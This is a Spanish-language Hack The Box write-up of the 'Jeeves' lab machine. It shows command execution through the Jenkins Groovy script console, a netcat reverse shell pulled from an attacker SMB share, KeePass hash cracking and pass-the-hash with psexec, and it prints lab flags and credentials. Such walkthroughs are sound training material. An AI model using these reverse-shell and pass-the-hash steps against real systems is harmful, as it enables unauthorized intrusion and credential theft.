Inicio Jeeves HTB Write-up
Entrada
Cancelar

Jeeves HTB Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Jeeves, la cual tiene una dificultad media. Para lograr vulnerarla realizaremos lo siguiente:

  • Fuzzing a un IIS.
  • Utilización de la consola de jenkins para ganar acceso al sistema.
  • Obtención credenciales a través de archivo .kdbx.
  • Pass the hash.

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping:

1
2
3
4
ping -c 1 10.10.10.63

PING 10.10.10.63 (10.10.10.63) 56(84) bytes of data.
64 bytes from 10.10.10.63: icmp_seq=1 ttl=127 time=138 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap --open -sS -p- -min-rate 5000 -n -Pn 10.10.11.108 -oG ports

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
4
5
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
50000/tcp open  ibm-db2

Realizamos un escaneo de los servicios expuestos utilizando nmap:

1
sudo nmap -sCV -p80,135,445,50000 10.10.10.63 -oN ServiceScan

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4h59m58s, deviation: 0s, median: 4h59m58s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-02-11T02:09:58
|_  start_date: 2023-02-11T02:00:02

En primer lugar, se observa el puerto 445 abierto, el cual corresponde al servicio smb, por lo tanto, intentaremos realizar una enumeración del equipo y también si es posible de usuarios o recursos, para ello usaremos diferentes herramientas, la primera es crackmapexec:

1
2
3
crackmapexec smb 10.10.10.63

SMB         10.10.10.63     445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)

Intentamos listar recursos compartidos mediante smbmap:

1
2
smbmap -H 10.10.10.63
[!] Authentication error on 10.10.10.63

Pero necesitamos credenciales para poder listar contenido.

Observamos que se tiene el puerto 80 con un servicio http, por lo tanto, utilizamos whatweb para enumerar información:

1
2
whatweb 10.10.10.63
http://10.10.10.63 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.63], Microsoft-IIS[10.0], Title[Ask Jeeves]

Observamos que corresponde a un IIS, sin embargo, nada adicional que no nos reporte nmap, por lo tanto, iremos al navegador para ver qué encontramos:

Tenemos una página, sin embargo, al ingresar un imput nos redirige a una página de error, si vemos el código fuente observamos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>Ask Jeeves</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>

<body>
<form class="form-wrapper cf" action="error.html">
    <div class="byline"><p><a href="#">Web</a>, <a href="#">images</a>, <a href="#">news</a>, and <a href="#">lots of answers</a>.</p></div>
  	<input type="text" placeholder="Search here..." required>
	  <button type="submit">Search</button>
    <div class="byline-bot">Skins</div>
</form>
</body>

</html>

Hace un action hacia la página de error, por lo tanto, esta web no hace nada.

Obsevamos que está abierto el puerto 50000, lo cual es extraño, entraremos a ver que hay:

Encontramos esta página, para descubrir directorios utilizaremos wfuzz:

1
wfuzz -c --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 http://10.10.10.63:50000/FUZZ

Luego, obtenemos un directorio:

1
2
3
4
5
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================

000041607:   302        0 L      0 W        0 Ch        "askjeeves" 

Ingresamos a este directorio para ver que hay:

Encontramos un panel de jenkins, si nos fijamos bien existe un área bastante interesante llamada Manage Jenkins, si entramos vemos lo siguiente:

Explotación

Encontramos algo muy interesante, se trata de la script console, la cual permite ejecutar scripts de forma arbitraria utilizando Groovy, si buscamos en la web encontramos la siguiente forma de ingresar comandos:

1
2
3
4
5
println "whoami".execute().text

Result

jeeves\kohsuke

Observamos que podemos ejectuar comandos correctamente, en este punto como es una máquina windows utilizaremos el netcat.exe, para transferirlo a la máquina víctima utilizaremos impacket-smbserver, para compartir el netcat y ejectuar una reverse shell en la máquina víctima:

1
2
3
4
5
6
7
8
9
10
impacket-smbserver shares $(pwd) -smb2support

Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Teniendo el servidor smb compartiendo el archivo, dentro de jenkins intentaremos acceder al netcat y ejectuarlo:

1
println "\\10.10.14.17\shares\nc.exe -e cmd 10.10.14.17 1234".execute().text

Sin embargo, esto falla debido a que el backslash se utiliza para escapar caracteres, entonces haremos uso de doble backslash:

1
println "\\\\10.10.14.17\\shares\\nc.exe -e cmd 10.10.14.17 1234".execute().text

Si observamos el servidor smb, hemos recibido una conexión y si revimos nuestro netcat:

1
2
3
4
5
6
7
8
9
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.63] 49684
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\.jenkins>whoami
whoami
jeeves\kohsuke

Hemos conseguido entrar al sistema como el usuario kohsuke, ahora buscaremos la flag:

1
2
3
C:\Users\kohsuke\Desktop>type user.txt
type user.txt
e3232272596fb47950d59c4

Escalada de privilegios

Si vamos abriendo las distintas carpetas del usuario kohsuke, encontramos lo siguiente:

1
2
3
4
5
6
7
Directory of C:\Users\kohsuke\Documents

11/03/2017  10:18 PM    <DIR>          .
11/03/2017  10:18 PM    <DIR>          ..
09/18/2017  12:43 PM             2,846 CEH.kdbx
               1 File(s)          2,846 bytes
               2 Dir(s)   2,642,771,968 bytes free

Encontramos un archivo .kdbx que corresponde a la extensión de keepass, podríamos sacar contraseñas con esto asi que lo traeremos a nuestro equipo a través del smb:

1
2
3
C:\Users\kohsuke\Documents>copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.17\shares
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.17\shares
        1 file(s) copied.

De esta forma tenemos el archivo en nuestro equipo. Utilizando la herramienta keepassxc abrimos este archivo:

Pero este archivo está protegido por contraseña, para intentar obtenerla utilizaremos keepass2john:

1
2
keepass2john CEH.kdbx
CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48

Este hash lo intentamos romper con john:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:25 0.13% (ETA: 01:53:10) 0g/s 865.8p/s 865.8c/s 865.8C/s kameron1..ilovepeter
0g 0:00:00:32 0.16% (ETA: 01:55:02) 0g/s 862.4p/s 862.4c/s 862.4C/s 101203..060306
moonshine1       (CEH)     
1g 0:00:01:08 DONE (2023-02-10 20:21) 0.01456g/s 800.5p/s 800.5c/s 800.5C/s nando1..moonshine1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Tenemos que la contraseña es moonshine1, vamos a keepass y la introducimos:

Hemos entrado, si empezamos a revisar de arriba a abajo, encontramos esto:

1
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Debido a la forma que tiene corresponde a un hash NTLM, si utilizamos el LM podriamos ser capaces de realizar un pass the hash, sin embargo, vamos a verificar con crackmapexec si esto es válido:

1
2
3
4
crackmapexec smb 10.10.10.63 -u'Administrator' -H 'e0fb1fb85756c24235ff238cbe81fe00'

SMB         10.10.10.63     445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB         10.10.10.63     445    JEEVES           [+] Jeeves\Administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

Observamos que si es correcto, entonces podemos hacer uso de la utilidad impacket-psexec para hacer pass the hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
impacket-psexec WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra

[*] Requesting shares on 10.10.10.63.....
[*] Found writable share ADMIN$
[*] Uploading file AJsKtBPE.exe
[*] Opening SVCManager on 10.10.10.63.....
[*] Creating service TxXq on 10.10.10.63.....
[*] Starting service TxXq.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Observamos que hemos ganado acceso al sistema como administrador, ahora buscaremos la flag:

1
2
C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere.  Look deeper.

Encontramos este mensaje, nos hace pensar que hay información oculta, como en linux pueden existir carpetas que no podemos ver a priori, en windows se llaman ADS, alternative data streams:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\Administrator\Desktop> dir /r /s
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

11/08/2017  09:05 AM    <DIR>          .
11/08/2017  09:05 AM    <DIR>          ..
12/24/2017  02:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
11/08/2017  09:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes

     Total Files Listed:
               2 File(s)            833 bytes
               2 Dir(s)   2,641,616,896 bytes free

Observamos que existe el archivo hm.txt:root.txt, entonces utilizando more podemos ver el contenido:

1
2
C:\Users\Administrator\Desktop> more < hm.txt:root.txt
afbc5bd4b615a60648c

¡Bien!

Hemos ganado acceso como administrador.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.